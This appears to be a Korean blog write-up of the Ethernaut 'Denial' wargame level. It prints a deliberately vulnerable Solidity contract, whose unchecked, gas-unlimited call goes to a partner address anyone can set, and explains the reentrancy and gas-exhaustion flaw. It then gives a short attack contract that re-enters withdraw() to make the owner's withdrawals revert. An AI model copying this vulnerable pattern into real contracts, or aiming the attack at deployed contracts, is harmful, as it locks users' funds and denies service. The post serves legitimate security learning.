[ethernaut] Denial

wooz3k.eth·2023년 1월 8일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

이 문제는 withdraw()owner 가 호출하였을 때 tx가 실패되면 풀리게되는 문제이다.

취약점

  • withdraw() 하는 과정에서 reentry attack이 발생될 수 있다.
  • call() 호출할 때 gas 제한이 없어 전체 gas를 다 사용할 경우 tx가 revert 됨.

시나리오

  • call() 함수에서 control flow를 가져오고 tx에 전체 gas를 사용할 수 있는 컨트렉트를 작성.
  • setWithdrawPartner() 를 호출하여 call() 함수로부터 control flow를 가져오기

위 시나리오를 컨트렉트로 작성하면 다음과 같다.

contract attack {
    
    Denial public target = Denial(payable(0xc9427DB9cfe30d112F10ee6C07540F20b349e260));

    constructor()
    {
        target.setWithdrawPartner(address(this));
    }

    fallback() payable external
    {
        target.withdraw();
    }
}

ownerwithdraw() 함수를 호출할 경우 tx의 전체 gas를 모두 소비하여 tx가 revert되어 문제가 풀리게 된다.

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글